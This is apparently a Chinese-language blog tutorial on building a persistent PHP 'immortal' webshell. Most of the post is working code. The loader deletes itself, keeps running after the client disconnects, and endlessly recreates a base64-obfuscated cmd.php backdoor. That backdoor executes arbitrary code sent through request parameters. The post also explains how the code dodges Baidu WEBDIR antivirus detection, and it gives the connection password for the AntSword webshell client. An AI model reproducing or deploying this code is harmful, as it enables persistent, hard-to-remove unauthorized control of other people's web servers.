构造器
前面的文章提到了免杀PHP后门木马,将代码稍加改造成一个不死马
一般的不死马构造如下
<?php
ignore_user_abort(true);//忽略与客户端的连接断开,继续执行脚本
set_time_limit(0);//设置脚本执行不限时
$filename = 'cmd.php';//子马文件名
unlink(__FILE__);//首次执行删除自身
$interval = 5;//生成子马间隔时间
do {
if(!(file_exists($filename))) {//判断子马是否存在,不存在则执行创建
$file = fopen($filename, "w");
$txt = "这里是生成的不死马的内容";
fwrite($file, $txt);
fclose($file);
}
sleep($interval);//每次执行完等待时间
} while (true);
?>
这种构造器因删除自身和循环写入被列为敏感操作,在百度WEBDIR报毒
选择使用新的构造器绕过
<?php
ignore_user_abort(true);//忽略与客户端的连接断开,继续执行脚本
set_time_limit(0);//设置脚本执行不限时
$filename = 'cmd.php';//子马文件名
foreach (explode('/',$_SERVER['PHP_SELF'])as$key=>$value){//遍历反转的路径数组
if(strpos($value,'.php')){//找到自身文件名
unlink($value);break;//删除自身并结束循环
}
}
$interval = 5;//生成子马间隔时间
do {
if(!(file_exists($filename))) {//判断子马是否存在,不存在则执行创建
$file = fopen($filename, "w");
$txt = "这里是生成的不死马的内容";
$fw = 'fwrite';
$fw($file, $txt);//使用变量函数执行写入文件
fclose($file);
}
sleep($interval);//每次执行完等待时间
} while (true);
对敏感操作进行处理,成功绕过检测
将免杀PHP后门木马进行base64加密处理
将加密完成后的密文写入到构造器中
<?php
ignore_user_abort(true);//忽略与客户端的连接断开,继续执行脚本
set_time_limit(0);//设置脚本执行不限时
$filename = 'cmd.php';//子马文件名
foreach (explode('/',$_SERVER['PHP_SELF'])as$key=>$value){//遍历反转的路径数组
if(strpos($value,'.php')){//找到自身文件名
unlink($value);break;//删除自身并结束循环
}
}
$interval = 5;//生成子马间隔时间
do {
if(!(file_exists($filename))) {//判断子马是否存在,不存在则执行创建
$file = fopen($filename, "w");
$txt = "DQo8P3BocA0KZXJyb3JfcmVwb3J0aW5nKDApOw0KZnVuY3Rpb24gYXNzZXJ0c3RyKCl7DQogICAgJGRhdGFiYXNlcyA9IGFycmF5KCIxIiwgIjEiKTsNCiAgICAkY21kPWdldF9tYWdpY19xdW90ZXNfZ3BjKCk/c3RyaXBzbGFzaGVzKCRfUkVRVUVTVFsiY21kIl0pLiRfR0VUWyJrZXkiXTokX1JFUVVFU1RbImNtZCJdLiRfR0VUWyJrZXkiXTsNCiAgICAkY21kPWJhc2U2NF9kZWNvZGUoImNtVjAiLnN1YnN0cihiYXNlNjRfZW5jb2RlKCJyZXR1cm4gMTt9Ii4kY21kKSw0KSk7DQogICAgJGNyZWF0ZT1iYXNlNjRfZGVjb2RlKHN1YnN0cigiQUMzWTNKbFlYUmxYMloxYm1OMGFXOXUiLDMpKTsNCiAgICAkdWFzbz1iYXNlNjRfZGVjb2RlKHN1YnN0cigiQUMzZFdGemIzSjAiLDMpKTsNCiAgICByZXR1cm4gJHVhc28oJGRhdGFiYXNlcywkY3JlYXRlKCckYSwgJGInLCRjbWQpKTsNCn0NCmZ1bmN0aW9uIHJ1bigpew0KICAgIHJldHVybiBhc3NlcnRzdHIoKTsNCn0NCnJ1bigpOw0KZGllKCk7DQo=";
$fw = 'fwrite';
$fw($file, $txt);//使用变量函数执行写入文件
fclose($file);
}
sleep($interval);//每次执行完等待时间
} while (true);
将密文前三位进行分割,拼接,解密操作
<?php
ignore_user_abort(true);//忽略与客户端的连接断开,继续执行脚本
set_time_limit(0);//设置脚本执行不限时
$filename = 'cmd.php';//子马文件名
foreach (explode('/',$_SERVER['PHP_SELF'])as$key=>$value){//遍历反转的路径数组
if(strpos($value,'.php')){//找到自身文件名
unlink($value);break;//删除自身并结束循环
}
}
$interval = 5;//生成子马间隔时间
do {
if(!(file_exists($filename))) {//判断子马是否存在,不存在则执行创建
$file = fopen($filename, "w");
$txt = "8P3BocA0KZXJyb3JfcmVwb3J0aW5nKDApOw0KZnVuY3Rpb24gYXNzZXJ0c3RyKCl7DQogICAgJGRhdGFiYXNlcyA9IGFycmF5KCIxIiwgIjEiKTsNCiAgICAkY21kPWdldF9tYWdpY19xdW90ZXNfZ3BjKCk/c3RyaXBzbGFzaGVzKCRfUkVRVUVTVFsiY21kIl0pLiRfR0VUWyJrZXkiXTokX1JFUVVFU1RbImNtZCJdLiRfR0VUWyJrZXkiXTsNCiAgICAkY21kPWJhc2U2NF9kZWNvZGUoImNtVjAiLnN1YnN0cihiYXNlNjRfZW5jb2RlKCJyZXR1cm4gMTt9Ii4kY21kKSw0KSk7DQogICAgJGNyZWF0ZT1iYXNlNjRfZGVjb2RlKHN1YnN0cigiQUMzWTNKbFlYUmxYMloxYm1OMGFXOXUiLDMpKTsNCiAgICAkdWFzbz1iYXNlNjRfZGVjb2RlKHN1YnN0cigiQUMzZFdGemIzSjAiLDMpKTsNCiAgICByZXR1cm4gJHVhc28oJGRhdGFiYXNlcywkY3JlYXRlKCckYSwgJGInLCRjbWQpKTsNCn0NCmZ1bmN0aW9uIHJ1bigpew0KICAgIHJldHVybiBhc3NlcnRzdHIoKTsNCn0NCnJ1bigpOw0KZGllKCk7DQo=";
$txt = base64_decode("DQo".$txt);
$fw = 'fwrite';
$fw($file, $txt);//使用变量函数执行写入文件
fclose($file);
}
sleep($interval);//每次执行完等待时间
} while (true);
此代码在运行时首先会删除自身然后在进程中循环创建免杀子马,因为子马文件名为cmd.php,所以在运行之后会出现一个删不掉的cmd.php文件,这个文件就是我们可以进行利用的webshell,连接密码为
?cmd=phpinfo();&key=/*
执行效果:
首先访问不死马,然后通过生成的cmd.php子马执行任意代码
使用蚁剑连接
发现沙发条评论